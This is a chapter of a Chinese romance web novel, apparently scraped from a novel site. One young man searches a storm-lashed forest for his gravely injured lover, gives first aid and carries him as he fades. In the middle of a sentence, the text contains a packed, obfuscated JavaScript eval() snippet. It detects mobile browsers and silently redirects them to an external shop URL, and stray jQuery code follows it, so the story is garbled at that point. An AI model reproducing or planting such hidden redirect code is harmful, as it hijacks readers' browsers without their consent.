文趣网 > 都市小说 > [校园]下雨也是好天气 > 90. 幽涧
    白雨浸墨,风裹挟着亿万雨箭穿林打叶,泼进无边的黑暗。瀑布从一道水帘变成宛若整条银河的倒悬与倾泻,以万吨之力撞击岩石,轰鸣带起大地深处的脉动。

    顾寻煦落到溪边,放开绳索,带上了头灯。环顾四周后,当机立断地走向了森林之内。

    暴雨撞上层叠浓密的树冠,声势被卸去了大半。原本直直砸下来的雨柱,被叶子接住,打散,碎成细密的水珠,从叶隙间筛落下来。

    “阿罕?”顾寻煦听着雨声稍小,试探地喊了一声。

    没有回应。

    怎么会有回应。

    如果是他判断错了,如果阿罕掉落的地点是溪中,如果他早就被中的水流带到了远方……

    闪电劈开的刹那,天地现出原形——峭壁如沉默的巨神,湿透的森林是一片颤栗的汪洋,每一片叶子都在电光中剧烈燃烧着绿意。雨幕模糊了天与地、生与死的界限,那瀑布仿佛从破碎的云端直灌地心,带着摧毁一切的决绝,又在深渊里孕育着至死不渝的柔情。

    顾寻煦就在那一瞬间看到了掉落在古树根脉上的狗牙吊坠。

    顾寻煦眼底猝然亮起一簇幽幽光芒,连跑带冲地往前冲去,一向冷静也在此刻踉跄了几步。

    “阿罕!”

    “阿罕!!”

    “阿罕!!!”

    ……

    罕茗泽头痛欲裂,四肢百骸都像被扯断了。锐痛、刺痛、钝痛……全身没有一处地方不痛!左肩更是像被贯穿一样传来锥心刺骨的剧痛!

    他意识开始涣散,知觉渐渐变得麻木,像是落入了古树弥覆的原始森林,绿色的藤蔓交织在一起,深不见底,只泛起阴翳重重的浓稠墨绿。

    可他不害怕,那是他的归处。他从小在那里长大,而他的阿爹阿妈也归于那片森土。

    如果能再次回归到父母的怀抱,那也不失一个美梦。

    “阿罕……”

    但恍惚中,似乎听到有人在叫他。

    他的身体似乎熟悉那个声音,一听到就忍不住想要偎近。可他的思绪已经涣散不堪,拼命想记起也认不出是谁。

    “阿罕!”

    “阿罕!!”

    “阿罕!!!”

    ……

    他叫得那样急促、那样焦灼、那样绝望,罕茗泽听得心生不忍。

    ……

    “我叫罕茗泽,你叫什么呀?”

    “你拦着我的路了。”

    “是啊!我要和你讲话,所以要拦着你啊。”

    “你告诉我你的名字好不好?告诉我,我就让你过去。”

    “顾寻煦。”

    ……

    “阿煦……”罕茗泽一口将淤血吐出,整个人从鬼门关中被拽了回来。

    微弱的声音从后方不远处传来,即使夹杂着瀑雨水声,顾寻煦就是听到了!

    他遽然转身,向着声音传来的方向奔去。

    罕茗泽声音从唇齿间溢出来的瞬间,全身的力气像是被用干抽去,意识再次迷离。

    纵使他多想再喊一声他的爱人,也无济于事。

    “阿罕!!!”

    顾寻煦看到了遍体鳞伤、满身血污的罕茗泽。

    古树断枝贯穿了他左肩。

    “阿罕!”顾寻煦以最快的速度冲了着过去,在最后的距离却骤然刹紧了脚步。

    罕茗泽身上太多的伤。

    额角有一道翻开的裂口,血淌过原本高挺俊朗的眉骨。双手摊在身侧,十指全是血,掌心的皮肉被刺刮烂了。衬衫碎成布条,从锁骨到腰侧全是被树枝剐蹭出的道道红痕,血迹混着泥浆糊在身上。裤子自膝盖以下磨没了,露出的小腿上也满是划痕。

    最可怖的还是左肩被一截断枝贯穿,木刺从肩胛上方扎进去,从肩窝前面透出来,血正顺着小臂往下淌。

    他浑身没有一处是完好的。

    顾寻煦的眼底瞬间布满猩红血丝。

    “……阿罕。”他脚步在抖,但走出去的步伐和伸出去的手都格外坚定。

    他必须要救他。

    顾寻煦在他身前半蹲下,右手抽出自己腰间的皮带,在罕茗泽左臂上端绕过一圈,用小臂夹住一头,弯腰用牙齿咬住另一头,猛地一勒。血涌缓了下来。接着撕下半截衬衫内衬,叠成厚块,避开断枝两端分别压紧按住,又扯下袖口布条绕过去交叉打结,把断枝卡死在伤口中间不让它晃动。

    罕茗泽从磅礴迷雾中缓缓醒来,看到面前的人是从未有过的狼狈,尽管手上的动作依然很稳,但罕茗泽能从那布满血丝的双眸和嘴唇上咬出的血痕,看出他的慌张失措。

    “别……咬。”罕茗泽一开口,决定胸腔盛着的淤血又想喷涌而出。他竭力压下了。

    他呼吸微弱,顾寻煦专注于包扎,没有发现那双眸子已经睁开,直到听见

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17881181|212463||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    声音时,整个人才像被人从地狱里拉回来。

    他抬眸去看罕茗泽,猩红的戾气在望向他的都瞬间湮灭,只有眼尾在止不住的泛红。·

    罕茗泽觉得比哪个伤口都疼。

    “……不疼。”罕茗泽苍白着脸色说,尽力扯出一个笑,哪怕扯着伤口,“能把你还回来,什么伤……都值。”

    “别说话。”顾寻煦说,“我带你出去。”

    顾寻煦弯腰,手也是稳的,动作却十分轻柔,右臂托背,左手避开那截断枝从肋侧穿过收紧。像是怕用一点力,人就会从指缝间流走。

    “张思达踹你的那一脚,”罕茗泽将头靠到他怀里,“比这个疼……”

    “我知道。”顾寻煦在看到他身上的伤时就明白了,对方的伤会比自己的疼得多。

    “和我说说话,我不想睡。”罕茗泽说,他已经知道自己不能睡,却也没力气再说话。

    “我不会再离开你,我会守在你身边。你再也不会、再也不会遭遇这样的危险。”顾寻煦不知道是对他说,还是在对自己说,“我会和你回家。我很后悔……没有早点去看伯父伯母。”

    罕茗泽颤着手拉了拉他的衣角,想告诉他——阿爹阿妈很喜欢他。

    “你想做什么都可以,想去哪里都行。”顾寻煦说,“只要你在我身边。”

    顾寻煦向来话少,毕业之后更甚。罕茗泽只觉得好久都没听到他和自己说这么多话。似乎又回到了清迈最后一个夜晚,他背着他走在乡村野道上,风里都是自由和浪漫的味道。

    那是顾寻煦最后无忧无虑的时光,所以也是罕茗泽最惜藏的回忆。

    “阿罕,我很爱你。不要离开我。”

    求求你。

    我也爱你。

    罕茗泽想说,但却只能呛出一口暗红的淤血。他甚至无法发出咳嗽的声音。

    血液顺着下颌淌上顾寻煦的手腕。指尖从顾寻煦衣角上滑落。怀里的重量,正在一寸一寸往下沉。像有什么东西,正在他怀里慢慢消散。

    “阿罕!”顾寻煦的声音带上了一丝惊觉的颤音。

    他想抱紧,却不敢用力,脚步迅疾地飞奔出去,却无济于事。

    “别睡!阿罕……求求你……别睡!!”

    风从雨林之间飘出,在浩瀚广阔的天地漫游了一圈,最终还是要回到古老而稠绿的森林中。

    “阿罕!!!!!”